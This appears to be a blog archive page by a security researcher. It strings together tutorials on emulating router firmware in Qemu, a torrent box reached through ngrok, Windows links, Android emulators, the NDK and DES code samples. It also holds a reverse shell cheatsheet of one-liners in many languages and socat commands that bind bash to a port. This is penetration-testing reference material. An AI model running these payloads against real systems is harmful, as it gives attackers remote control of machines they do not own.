Category: Article

Home / Category: Article

Running Firmware on Qemu

August 4, 2017 | Article | 1 Comment

As a reverse engineer, especially if we deal with embedded system, facing various architecture and its typical system is expected. Sometimes we have no access to the device and got only the firmware. In this condition, our only option is static analysis of the firmware, or it is not?

Our goal is to observe and extract the knowledge from inner part of the device. From the abstract things we call software. Modern device implement logic on a software and most of them incorporate an operating system to manage the resources and to run the program. Linux is very popular for it’s existence and support in various processor. This software stack (from linux kernel to various user space program) are coupled and packaged as a firmware (or firmware stack).

In this article we will discuss about firmware stack and how we can possibly run it on Qemu. The steps described here should be treated as a generic steps. I hope it can be used for the different setup you use.

Obtain the Materials

You can install Qemu from source or download it via your package manager.

We are discussing about firmware so naturally to practicing we need a firmware for reference. Here we will use following firmware. This fimware is a firmware for Linksys EA4500 , a wifi router that is publicly available for download. You can also download and use arbitrary firmware you want, but make sure you read the next section and know the architecture of the devices. It can be either ARM, MIPS, x86, etc.

Firmware Stack and Basic Concept

Fundamentally, software stack for PC-compatible and embedded system have different arrangement. In PC we use HDD to store the operating system and any user space program we need. The booting process come from BIOS (which is firmware in motherboard), to bootloader, and then the kernel on the disk. It’s very modular and we can replace the components as we want. We can upgrade it individually. In embedded system we have no luxury on that level. In most case, every components are tightly coupled, as well as the firmware.

Most modern embedded system incorporate linux system. The firmware stack, be it for your typical wireless routers to smart devices, consists not only softwares. They are also packed with a whole partition, in this case in squashfs format. This filesystem, known as rootfs, is used in runtime in similar manner to our partition. You might ask why. Linux kernel always need a minimum filesystem. Even in booting proses it use initramfs or initrd which is minimal filesystem.

There might be many sections inside the firmware file, but for most firmware they have minimum three components: the bootloader (ex: U-boot), kernel, rootfs. Flashing process might rearrange them to different place, but our focus is on the firmware file itself, before flashing.

So here’s the basic concept.

The filesystem used in runtime is packed inside the firmware, mostly using squashfs format. Therefore, we need to extract that filesystem. One of the tool in our disposal is binwalk. Read the next section for detail. So if we have both kernel and filesystem we can boot the system? That’s a pitfall there. We have no guarantee that booting the firmware in “normal” flow will give success result. If we are successful, we can see the system running. If not, we might not able to enter the shell and stuck.


Remember that the operating system in embedded system is interfacing many things, including peripheral, sensors, actuators, etc. When linux kernel is booting, it spawn the first use space program called init to initialize all runtime configuration the embedded system need. If for some reason the initialization fail, and high chance it will, then the system might have no stable state. And, that’s why we might have our system stuck.

So here’s the trick. In the end we need working kernel with working filesystem. How do we make sure that booting is completed? No, we don’t. We are cheating a little here. We skip it. We are pretending that the booting is complete. From here on we can invoke various commands there, and investigate how system behave. We complete this by using chroot and use the Qemu as the shell. While observing foreign architecture, all of this operations are done in our lovely x86 machine.

Firmware Extraction

If the firmware layout is simple enough, then we might identifying something like this.

file FW_EA4500V3_3.1.7.181919_prod.img


We use binwalk to identify the firmware component and automatically extract the content.

binwalk -e FW_EA4500V3_3.1.7.181919_prod.img

Here, binwalk is generous enough. We see three sections there. The first section, blue rectangle, start from offset 0, is a bootloader. It will  boot a Linux kernel for MIPS architecture. The second is red rectangle, the linux kernel. The third one is the squashfs filesystem.

Binwalk will create a folder and extract the content to that folder. For example, we got this. The squashfs is automatically extracted as squashfs-root.


There we can see the familiar directory structure.

Running the System

After all preparation we have done, it’s time for the actual thing.

Note that the kernel in this case is the 40.7z however, when doing a chroot we are using our own kernel and sandboxing the environment of running embedded system so kernel is not really used here.

Because we will interact with MIPS

First we need to copy the qemu-mips-static to the root directory of our squashfs (squashfs-root). Then we will chroot to that environment.

cd squashfs-root
cp $(which qemu-mips-static) bin/qemu
chroot . qemu /bin/sh

Sure, we can then do anything as if this were the fully working embedded system shell.

It’s been a while after my latest post about “building something”.

Lately I want to download some files from vulnhub site. Since some months ago I accidentally delete my collection (which are not touched often), I have to redownload most of them (16 pages). Manual download is not an option as I rarely stay at home with rather stable home connection. It is also not possible for me to use torrent when I am doing onsite pentesting. Therefore I decide to build a dedicated box for torrent activity.

The next section is about the requirements I need and the solution I have. If, for whatever reason, you want to know the steps of building then you can skip the next section.


What I want is a small box with sufficient resource, supplied by stable connection. It would sits in my room, connected to internet and can be remotely controlled wherever I am. PC is overkill for this task, besides I don’t have working PC right now. The alternative is single board computer. From many options I have (Raspberry Pi, Beagleboard, ODROID, etc) I pick ODROID. It might be subjective but my ODROID XU4 has 2 slots of USB3, which some SBCs don’t have.

Storing downloaded files on a single SD card is not wise. I use one of my external HDD as storage, connected via USB3, should be fast enough.

There exists some implementation of bittorent client for linux. But I use Transmission. It works fine.

When I said “the box should be able to remotely controlled wherever I am”, I didn’t mean to give it a dedicated IP address. It’s obviously mandatory for us to keep our box behind the firewall. So for this goal, I need a rendezvous point, a tunnel, a middleman which will redirect all traffic between my box and me. It’s not port forwarding on router. I don’t have access to that. To solve this, I can use socat or ssh tunnel for creating two open end tunnel. However, I need simple and reliable solution so I use service for that. Either ngrok, PageKite, and Forward are suitable but I choose ngrok.


0. Minimal Setup

I use ODROID XU4 as BSC. You can read the user manual here.

The operating system I choose is Ubuntu minimal, which can be downloaded here. I only need linux as base system and no need fancy GUI so ubuntu minimal is perfectly fine.

Consult the user manual to burn the image to uSD card. Though some aspect is different you can use this article as guide.

1. Component Installation

Don’t forget to update the package list and confirm that we have working connection

apt-get update

Install transmission.

apt-get install transmission-cli transmission-common transmission-daemon

Like other service, transmission is composed of a daemon (transmission-daemon) that manage all bittorrent activities and clients. The transmission-cli is a client program, use CLI.

Check whether the service is working fine.

service transmission-daemon start
service transmission-daemon stop
service transmission-daemon reload

Don’t forget to enable it.

systemctl enable transmission-daemon

Next we need to install ntfs-3g package to mount NTFS partition. We also need unzip to unzip files and screen to create a background job elegantly.

apt-get install ntfs-3g unzip screen

2. Disk Configuration

In this article, I mount my disk on /mnt/disk0. I also create a directory on /mnt/disk0/transmission with following subdirectories for torrent operation.

mkdir /mnt/disk0
ntfs-3g /dev/sda1 /mnt/disk0
mkdir /mnt/disk0/transmission
cd /mnt/disk0/transmission
mkdir completed incomplete torrents

3. Configuration Script

Transmission daemon need a configuration script in /etc/transmission-daemon/settings.json to run properly. If the service is restarted or stopped then started, a new configuration file is created (overwriting the old one) so if we have customed the script then we need to reload the script. However accident might happen, thus we move the original file to safe location and link it.

mv /etc/transmission-daemon/settings.json /opt/transmission-settings.json
ln -s /opt/transmission-settings.json /etc/transmission-daemon/settings.json

Next we configure it. There are some settings I change so you should adjust it to your case (trunked)

"download-dir": "/mnt/disk0/transmission/completed",
"incomplete-dir": "/mnt/disk0/transmission/incomplete",
"incomplete-dir-enabled": true,
"rpc-authentication-required": true,
"rpc-bind-address": "",
"rpc-enabled": true,
"rpc-password": "[email protected]",
"rpc-port": 9091,
"rpc-username": "ursa",
"rpc-whitelist": ",*.*.*.*",
"rpc-whitelist-enabled": true,
"umask": 2,
"watch-dir": "/mnt/disk0/transmission/",
"watch-dir-enabled": true

To enable remote connection, we need RPC. It will listen on port 9091, ready for taking command. I don’t want the box is left without authentication so we need to supply one. On my In this example I need to supply “ursa” as username and “[email protected]” as the password.

4. Setting up Rendezvous Point

To use ngrok service we are obligated to have valid identity there. Sign up here to begin. You need to get an API key which will be used by ngrok.

Download the “agent” into our box. As the ODROID is an ARM board, we need the ARM version of ngrok. Extract and authenticate.

mv ngrok /usr/local/bin/ngrok
ngrok authtoken <your auth token here>

Ngrok need tio remain running for functioning tunnel.In some case it is not possible therefore we need to run ngrok on detachable session. Screen is used for that.


There we are on a screen session. Run the ngrok, create a tunnel for tcp port of 9091.

ngrok tcp 9091

Read the endpoint described there. It should be a domain of ngrok with some port.

To exit, first CTRL+A and then press D. We are out of screen session but the ngrok is still running on that session.


Download Transmission Remote GUI. Click on Torrent – Connect to Transmission – New connection. Fill the URL offered by ngrok earlier and don’t forget to enable authentication.

It was quite old. On March I deliver a workshop about web security in Depok, Indonesia. The main theme is of course about web security. The presentation slides is avalable on my slideshare. Mostly we were talking about web security with OWASP as our references. The slides is always free and you may spread it as you like. If you have a question you can direct your question to me.

Best regards,

Satria Ady Pradana.

There is a misconception in some community that Windows doesn’t support hard link and symbolic link as in Unix world. Most of us think that Windows OS only support link (with .lnk extension) and I’ve seen that there are also several articles point out that symbolic linking in Unix world is closely resemble to Windows .lnk file.

Though the concept is not very similar, we can say that Windows has three type of linking: hard link, junction, and symbolic link. Before we go through them, let’s give the concept of hard link and symbolic link (soft link).

Links in Unix

In Unix world, symbolic link (also termed as soft link) is a special kind of file that points to another file. Well, hard link too is a special kind of file that points to another file. The difference between two is symbolic link does not contain the data in the target file. It simply points to another entry somewhere in the file system. The difference gives symbolic link certain qualities that hard links does not offer, such as the ability to link to directories, or to files on remote computers network through NFS. When we delete a target file, symbolic links to the file become unusable. Whereas the hard links preserve the contents of the file. So we can say that hard link is essentially a label or another name assigned to a file. Operation executed upon any of these “different names” will be operated upon the original file. When the original file is deleted, the hard link will still persist. You can think it as a reference count.

In Unix, these commands create symbolic link and hard link respectively.

# Symbolic Link
ln -s target link

# Hard Link
ln target link

Concept of Links in Windows

Now let’s go to the Windows world. The definition of hard link and symbolic link is nearly similar.

A hard link is the file system representation of a file by which more than one path references a single file in the same volume.MSDN states that any changes to the file are instantly visible to applications that access it through the hard links that reference it. Changes in the original file will be reflected in every hard link made to that file. Thus, if there are multiple hard link point to a READ-ONLY file and we want to delete a particular hard link, then after delete it we need to reset the READONLY attribute to any of remaining hard link (or original file).

A symbolic link is a file-system object that points to another file system object. The object being pointed to is called the target. They are transparent to users; the links appear as normal file or directories and can be acted upon by the user or application in exactly the same manner.

Then, what is junction?

Junction (Microsoft refer it as soft link) is similar to hard link. Indeed it is a hard link. It differs from a hard link in that the storage object it references are separate directories and a junction can link directories located on different local volumes on the same computer. Otherwise it is identical to hard link.

The Command (Utility)

Hard Link

mklink /H link target

Symbolic Link

# File Symbolic Link
mklink link target

# Directory Symbolic Link
mklink /D link target


mklink /J link target

Create Link Programmatically

Hard Link: CreateHardLink

Symbolic Link: CreateSymbolicLink


So what’s the different of these links with .lnk file?

Well we need to see the representation. Links are file system object while the .lnk file is a file. The .lnk file is a file describe the redirection and any extra operation need to perform when it is executed. The links are only redirection to the file.

To feed our brain, NTFS has many advanced options that is unknown to us as end-user.

List of Alternative Android Emulator

March 25, 2017 | Article | No Comments

Android is a popular operating system for handheld and now dominating the market share. Though the there are already exists various cheap devices running android, many of us want want to run android on our PC. I myself has two reasons for this: first to play some games without open my device, and second is to test my application.

Fortunately, there are plenty of them available, from free to paid one. This article is not an exhaust list of android emulator, but serve as a purpose as a documentation of emulator I had known and taste (some of them).

The Basic Concept

Many years ago the only processor supported by android is ARM architecture. The only way to start an android in our PC is through official Android emulator, bundled with the SDK. It is so slow due to many things. We name it emulator, as we are emulating the android environment (in ARM) to run in our PC environment (in x86/x86-64). Then some projects exists to port Android to x86 architecture. This unofficial build is known as Android x86. Later, Android officially support x86 processor which is not very different to PC one. However, we still need this piece of software, emulator. Why?

Android is an operating system for mobile device such as mobile phone, tablet, smart TV, etc. Android device has many different hardware variation as each manufacture can ship any hardware they like but android ensure that the platform is viewed as one uniform. Android abstract the complicated and give it as a single platform. As a platform, android has different component those are different to PC (typically a Windows PC). For example the interface and the application format, they are different. So to make android application running on top our Windows PC, there should be something that can bridge this two platform, and that would be an emulator.

Simply, an emulator is a hardware or software that enables one platform (called host) to behave like another platform (called guest). These android emulator can run the application simply by providing environment that looks like the real device. We are not seeing Android from the point of processor is run on, but the Android platform as a whole.

Android, in Android SDK, has ship an official emulator for testing. But this emulator is proven to be slow and need much time for startup. So there are many people starts to create some lightweight android emulators that can boot android faster and consume less resource, compared to official one. Unless you tweak the emulator, like enabling Intel HAXM (Hardware Accelerated Execution Manager), these alternative emulators are preferable.

You can also see other article about Inside the Android Emulator series to discuss something deeper than this.

The List

  1. Nox App Player
  2. BlueStacks
  3. GenyMotion
  4. Andyroid
  5. YouWave
  6. Visual Studio Android Emulator
  7. MEmu
  8. Jar of Beans
  9. Manymo
  10. Xamarin Android Player
  11. MEmu

Nox App Player


Definitely my favorite. Minimalist yet provide many things.

It is one of the best options available to emulate android on PC. It also supports wide range of Android Gaming controls. And the best part of this, Nox App Player support most of the top android games. This full-fledged android emulator will need us to set some things, such as google accounts. Apart from the standard mouse and keyboard support, Nox also support several input/output devices such as gamepads and controllers. Nox also support multiple emulator instances, or profile you might say. This way we can have more than one emulator each with different configuration.

Technically, Nox App Player use (at this time) an Android 4.4.2 kernel, or preferably called Android KitKat. It mimics UI operations on a tablet or smartphone so the learning curve is not steep. Also Nox comes with the Google Play Store integrated into the install package. In my experience, Nox App Player is also easy to use for penetration testing purpose.



A big player in this emulation world. BlueStacks is mature enough and support almost all of android games and apps that play store is offering. Some sites recommends it as the first option to emulate android. No wonder, BlueStack supports about 96% of the games and apps available on Play Store (in their claim).



What’s interesting for me is their GenyMotion on demand, aside of their android emulator on our local PC. It is an Android AMs on Amazon EC2 infrastructure. While the local emulator is proven fast, it also offer graphic acceleration and use x86 as its base, which is not different to our PC.

Some sites recommends it as the first alternative for BlueStack or now might be the first opinion for Android emulator.



Also known as Andy OS. One of the feature is one can use their phone as remote control while playing a game through the emulator. It even supports seamless, wireless transition of apps from computer to android device.



There are two version available at this time. The free version use Android 4.0 (Ice Cream Sandwich) and the premium version use Android 5.1 Lollipop.

Visual Studio Android Emulator


One of project / component in Visual Studio that can be installed on demand. Similar to Windows Mobile emulator, this product need Hyper-V installed. And when running, Hyper-V (as well as Visual Studio Android Emulator) will locks the virtualization support exclusively and not sharing it with other software like VirtualBox or VMware. One of the feature that highlighted is the Work-From-Home, which makes it works over remote desktop.



A new but promising emulator.

Technically, it uses Android 4.4 as default image for any instance. Optionally, you can also download the Android 5.1 as base system if you like.

Jar of Beans


Sadly, it has been discontinued.

From XDA forum, home of android hackers. It is an android jelly beans emulator and allows us to do easy installation and configuration. It supports multi user in the form of profile and enables us to customize our own settings. We can also create Virtual SD card. It requires no setup as it is completely portable.



Sadly, it has been discontinued.

They said Manymo is a better emulator. Unlike other emulator, Manymo is an in-browser emulator and support multiple android versions. It means, you need no installation, you only launch the emulator you need. Their target audience is developer, which wants to eliminates the tedious task by providing a facility to test apps on different android version without having those devices. They say it’s lightweight as the actual computation is held on their end but you need stable internet connection to use it.

Xamarin Android Player


Sadly, it has been discontinued.

Xamarin specialize itself in mobile application development. They create SDK which makes us able to deliver an application in native Android, iOS, and Windows platform. One of their suite is their emulator.

While the development itself had been ceased, you can still download the Xamarin Android Player for free.

Xamarin provides various version of Android, from 4.1.1 (Jelly Bean) to 5.1.0 (Lollipop). Most of them are preconfigured as Nexus device.




There are other alternative way to run android on PC.

Using Stand Alone Android NDK Compiler

March 21, 2017 | Article | No Comments

Android is an operating system for various mobile device, such as mobile phone, tablet, smart TV, etc. The power of android comes from the use of a process virtual machine, dubbed as Dalvik Virtual Machine (DalvikVM) and later Android Run Time (ART), to abstract complicated and varying modules. You write in Java, compile it, and android environment will run it regardless of whatever hardware it has. It guarantees portability but for us. But if you want to write in native code, android provide us with NDK (Native Development Kit).

The product of NDK is a native code, which will be invoked by Android application (written in java) by JNI means.

There are three ways to use Android NDK as far as I know. This article will discuss all of them. But before it, we need to know some background information to let you know what happen behind the scene.

Obtaining NDK

NDK is free for download. You can download it from this official link.There are four platform available (Windows 32-bit, Windows 64-bit, Mac OS X, Linux 64-bit). Choose the one suitable for your platform. These packages are archived using zip. You can extract them with your favorite extractor / zip program and place it to any directory. Make sure they are invokable or can be called from command line. You can achieve this by setting the environment variable or PATH in your respective platform.

If the directory is mentioned, we will refer it as $NDK.

Target Platform

Android has came to various platform. ARM/ARM64, x86/x86-64, MIPS/MIPS64. Your mobile device platform is your target so you need to know and make sure what platform you face. In most case, ARM is sufficient as it is currently dominating the mobile system’s market. But again, make sure you know the platform. You can achieve it by reading the datasheet or information provided by the manufacturer.

Android NDK use GCC infrastructure. So for the platform you chose it will have the triplet which indicating the platform. You can verify it here.

[table “10” not found /]

The toolchain is located at $NDK/toolchains

Sysroot and Target API

Sysroot is a directory containing the system headers and libraries for target. To define sysroot we must know the Android API level we want to target. The Android API levels reside under $NDK/platforms/. Fortunately, unlike SDK, android has shipped all the supported API level so downloading the current NDK is recommended.


Way 1: Use Makefile

In GNU world we know Makefile. Makefile is a small script that is used by “make” command to automatically configure and build the application. It can be thought as a configuration script. It is declarative so we need only declare some parts, such as include directory, sources file, and output then we invoke the makefile to automatically build it without needed to compile each file by yourself.

In android, we have and for this purpose. The file is useful for defining and overriding project-wide settings. It must resides in our project’s $PROJECT/jni/ directory, and describes sources and libraries we use. The is placed under directory of $NDK/apps/ directory.

For example we have these files

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_MODULE    := foo


APP_ABI: armeabi armeabi-v7a

Then we can invoke the build process as this.


The NDK will give output such as this when build is in process.

[armeabi] Compile thumb  : foo <= foo.c
[armeabi] Executable     : foo
[armeabi] Install        : foo => libs/armeabi/foo
[armeabi-v7a] Compile thumb  : foo <= foo.c
[armeabi-v7a] Executable     : foo
[armeabi-v7a] Install        : foo => libs/armeabi-v7a/foo

Way 2: Use compiler Directly

Know the platform we face and it’s API level. To use this way, we need to define the sysroot. The specific invokation will depend on your OS, but generally we need to define a SYSROOT variable which point to our sysroot and then invoking the compiler.

Use this code for example.

int main()
   return 0;


Set these once before compiling.

SET SYSROOT=%NDK%\platforms\android-22\arch-arm
SET TPATH=%NDK%\toolchains\arm-linux-androideabi-4.9\prebuilt\windows-x86_64\bin
SET CC=%TPATH%\arm-linux-androideabi-gcc.exe --sysroot=%SYSROOT%

and use this for compiling

%CC% -o code.o code.c


Set these once before compiling.

export SYSROOT=$NDK/platforms/android-22/arch-arm
export TPATH=$NDK/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin
export CC=$TPATH/arm-linux-androideabi-gcc --sysroot=$SYSROOT

and use this for compiling

$CC -o code.o code.c

Mac OS X

Set these once before compiling.

export SYSROOT=$NDK/platforms/android-22/arch-arm
export TPATH=$NDK/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/bin
export CC=$TPATH/arm-linux-androideabi-gcc --sysroot=$SYSROOT

and use this for compiling

$CC -o code.o code.c

Way 3: Use Customized Toolchain

NDK provides a wrapper. This is useful if we want to invoke command without necessary using ndk-build. The script is provided to perform a customiezed toolchain installation from command line. The script is located in $NDK/build/tools/ and unfortunately no windows’ .bat version available.

To use it, we can invoke this command:

$NDK/build/tools/ --arch=arm --platform=android-22 --install-dir=/tmp/my-android-toolchain

The wrapper is created in /tmp/my-android/toolchain/ which contain copy of android-22/arch-arm sysroot and the toolchain binaries for 32-bit ARM architecture. This wrapper doesn’t depend on host so we can place it in any location or even move it to any location.

To invoke the wrapper

export PATH=/tmp/my-android-toolchain/bin:$PATH
export CC=arm-linux-androideabi-gcc
export CXX=arm-linux-androideabi-g++

and use it as usual.

Using DES Algorithm in Various Languages

March 8, 2017 | Article | No Comments

Data Encryption Standard (DES) or should be Data Encryption Algorithm, is a symmetric-key algorithm for the encryption of electronic data. Although this algorithm is now considered as insecure, it was highly influental in the advancement of modern cryptography. Most course on cryptography still present DES when they are discussing about block cipher especially symmetric one.

This article will demonstrate how to use DES for encrypt and decrypt content in various programming language. The snippet code here should be platform independent unless said otherwise. The implementation will be based on library or framework for respective programming language. If there are more than one implementation, we will divide the section for each implementation.

If you need information about specific detail in DES, go to online course such as this

The Implementation

Implementation: C#

In C# implementation, each algorithm is provided by a service provider. All operations should be done in byte array, therefore we have some string and byte array conversion in some place.

The key can be an input from user or generated by you. Just remember to use byte array.

// Library
using System.Text;
using System.Security.Cryptography;

// Key and Initialization Vector
byte[] key = ASCIIEncoding.ASCII.GetBytes("12345678");
byte[] iv  = ASCIIEncoding.ASCII.GetBytes("01234567");

DESCryptoServiceProvider crypto = new DESCryptoServiceProvider();

// Tweak the provider
crypto.Key = key;
crypto.Mode = CipherMode.CBC;    // Options: ECB, CFB

The following is using stream for manipulating content.

// Encrypt
ICryptoTransofrm transform = crypto.CreateEncryptor();
MemoryStream memStream = new MemoryStream();
CryptoStream cryStream = new CryptoStream(memStream, transform, CryptoStreamMode.Write);
StreamWriter writer = new StreamWriter(cryStream);
byte[] ciphertext = memStream.GetBuffer();

// Decrypt
ICryptoTransform transform = crypto.CreateDecryptor();
MemoryStream memStream = new MemoryStream(ciphertext);
CryptoStream cryStream = new CryptoStream(memStream, transform, CryptoStreamMode.Read);
StreamReader reader = new StreamReader(cryStream);
string plaintext = reader.ReadToEnd();

This one is straightforward implementation without utilizing stream

// Encrypt
byte[] buff = ASCIIEncoding.ASCII.GetBytes(plaintext);
crypto.CreateEncryptor().TransformFinalBlock(buff, 0, buff.Length);

// Decrypt
byte[] buff = ASCIIEncoding.ASCII.GetBytes(ciphertext);
crypto.CreateDecryptor().TransformFinalBlock(buff, 0, buff.Length);

Implementation: Java

The java implementation is called JCE (Java Cryptography Extension). All operations should be done in byte array, therefore we have some string and byte array conversion in some place.

// Library

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.KeyGenerator;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;

In this case we can generate a key or using our own key.

// Key generator
KeyGenerator keygen = KeyGenerator.getInstance("DES");
SecretKey key = keygen.generateKey();

// Using own key
String strkey = "12345678";
DESKeySpec dks = new DESKeySpec(strkey.getBytes());
SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
SecretKey key = skf.generateSecret(dks);

Creating cipher instance from Cipher class, specifying some information such as algorithm name, mode, and padding scheme. The last two are optional. All should be separated by a slash.

// Encrypt
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS7Padding");
byte[] text = plaintext.getBytes();
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] result = cipher.doFinal(text);

// Decrypt
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS7Padding");
byte[] text = ciphertext.getBytes();
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] result = cipher.doFinal(text);

Implementation: Visual Basic (VB) .NET

Actually, VB.NET implementation is similar to C# one. Each algorithm is provided by a service provider. All operations should be done in byte array, therefore we have some string and byte array conversion in some place.

The key can be an input from user or generated by you. Just remember to use byte array.

// Library
Imports System.Security.Cryptography;

// Key and Initialization Vector
Dim key() As Byte = System.Text.Encoding.Unicode.GetBytes("12345678");
Dim iv()  As Byte = System.Text.Encoding.Unicode.GetBytes("01234567"); 

Dim crypto As DESCryptoServiceProvider = new DESCryptoServiceProvider; // Tweak the provider 
crypto.Key = key;
crypto.Mode = CipherMode.CBC; // Options: ECB, CFB

The following is using stream for manipulating content.

// Encrypt
Dim transform As ICryptoTransform = crypto.CreateEncryptor();
Dim memStream As New System.IO.MemoryStream;
Dim cryStream As New CryptoStream(memStream, transform, CryptoStreamMode.Write);
Dim text() As Byte = System.Text.Encoding.Unicode.GetBytes(plaintext);

cryStream.Write(text,0, text.Length)

Dim result() As Byte = memStream.ToArray

// Decrypt
Dim transform As ICryptoTransform = crypto.CreateDecryptor();
Dim memStream As New System.IO.MemoryStream;
Dim cryStream As New CryptoStream(memStream, transform, CryptoStreamMode.Write);

cryStream.Write(ciphertext,0, ciphertext.Length)

Dim result() As Byte = memStream.ToArray

Implementation: Python

There are some libraries in python that implementing DES algorithm.Each has different style and flavor. Here we use PyCrypto library as example. As Python is not strongly typed, we should not worry about the data type. However internally all operation is done in block so you might consider to use byte array.

The key and be an input from user or generated by you. Here, we have two example.

# Library
from Crypto.Cipher import DES
from Crypto import Random

key = b'eight byte key'
iv =

crypto =, MODE_CBC, iv)
# other option: MODE_ECB, MODE_CFB

Then we did something like this:

# Encrypt
result = crypto.encrypt(plaintext)

# Decrypt
result = crypto.decrypt(plaintext)


Reverse Shell Cheatsheet

December 27, 2016 | Article | 1 Comment

During penetration testing, we might be lucky enough to exploit a command execution vulnerability. Soon, we want and interactive shell to penetrate deeper. Some approach involving “login” mechanism, such as add new account / SSH key / .rhosts file. However if these approach is not viable then hop would be shell, either reverse shell or binding shell to a TCP port. As stated in title, we will discussing the former.

Below we curate reverse shells that use various programming language or tools on target machine.

Listening Home

Most network firewall egress filters allow

  • http (tcp port 80)
  • https (tcp port 443)
  • dns (tcp/udp port 53)
  • smtp (tcp port 25)
  • ping (icmp requests and echo replies)

While it’s not always be true, it can be our initial attempt to set listening socket to one of those ports. Remember that reverse shell need a “home” or something in our machine that listen and communicate with reverse shell.

The simplest trick in our disposal is using netcat to listen on socket. Most likely netcat is installed by default.

nc -vlp 4444

Or if we are using socat, we can use this.

socat READLINE,history:/tmp/history.cmds TCP4-LISTEN:4444

or we can create a redirectory on public faced machine which will give the traffic to our system.

Reverse Shell


exec 5<>/dev/tcp/
cat <&5 | while read line; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ 0>&1
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/; sh <&196 >&196 2>&196


set s [socket <IP> <PORT>];
while {42} {
  puts -nonewline $s "shell>";
  flush $s;
  gets $s c;
  set e "exec $c";
  if {![catch {set r [eval $e]} err]} {
    puts $s $r;
  flush $s;
close $s;
echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh


php -r '$sock=fsockopen("",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",4444);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("",4444);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",4444);popen("/bin/sh -i <&3 >&3 2>&3");'


nc -e /bin/sh 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f
/bin/sh | nc 4444


socat TCP: EXEC:/bin/bash
socat OPENSSL: EXEC:/bin/bash,pty


rm -f /tmp/p; mknod /tmp/p p && telnet 0/tmp/p
telnet 80 | /bin/bash | telnet 0 443


perl -e 'use Socket;$i="";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -e 'use Socket;$i="";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

for Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


ruby -rsocket -e'"",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;"","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'
ruby -rsocket -e ""","4444");while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print}end"


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


#!/usr/bin/awk -f
   s = "/inet/tcp/0/"
   while(42) {
         printf "shell>" |& s
         s |& getline c
            while ((c |& getline) > 0)
               print $0 |& s
      } while(c != "exit")
awk 'BEGIN {s = "/inet/tcp/0/"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null


one of the simplest reverse shell.

xterm -display

to catch incoming forms of reverse shell in xterm session

Xnest :1


Socat Cheatsheet

December 26, 2016 | Article | 1 Comment

Socat, a powerful tools you should have in you arsenal. Some say socat is another swiss army knife beside netcat. It is a command line based utility that establishes two bidirectional byte streams and transfer data between them. Socat has been long used for creating a simple forwarder. But, did you know that we can do more than that?

Basic Knowledge

Basically socat is a tool to manipulate sockets. To give you a hint, socat comes from socket and cat.

The idea of sockets is too restrictive. Speaking socat we should speaks in the level of “data channel”. It can be combinations of:

  • a file
  • a pipe
  • a device (ex: a serial line)
  • a socket (IPv4, IPv6, raw, TCP, UDP, SSL)
  • a program or script

Now socat has a different syntax on what you are used to with netcat or other standard unix tools. Here is the simple syntax:

socat [options] <channel> <channel>

both channel should be provided. The channel should be like this:


All you need to remember is: socat is bidirectional. It is like a pipe so there is no strict definition of which one should be source or destination. Both address can have src/dst role.

Tips and Trick

Now, come to our actual topic. For the sake of simplicity, we will pretend there are two distinct hosts namely HOST-L and HOST-R.These hosts can be anywhere with any IP. In most case HOST-L is our local machine while HOST-R is remote machine. On most case we will use port 13510 and 18210 as example.

Let’s see our catalog:

  • Basic network connection
    • Connect to remote machine
    • Listening to a socket
    • UDP traffic
    • Execute program when connection come
    • SSLify connection
    • Make a tunnel
    • Make a tunnel via proxy
  • File transfer
    • Display content of file to standard output
    • Create and write to a file
    • Transfer file
  • UDP tunneling through SSH connection
  • Local serial line
  • Get HTTP content without browser
socat TCP-LISTEN:13510 -
socat - TCP-LISTEN:13510
socat - UDP-LISTEN:13510
socat - UDP:HOST-R:13510

For example, shell.

socat TCP-LISTEN:13510 EXEC:"/bin/bash"

for multiple connection

socat -L TCP-LISTEN:13510 EXEC:/bin/bash

we also have SYSTEM address, which uses the system() call rather than a call to exec(). We can do something like this (something netcat can’t do).

socat TCP-LISTEN:2323,reuseaddr SYSTEM:'echo $HOME; ls -la'

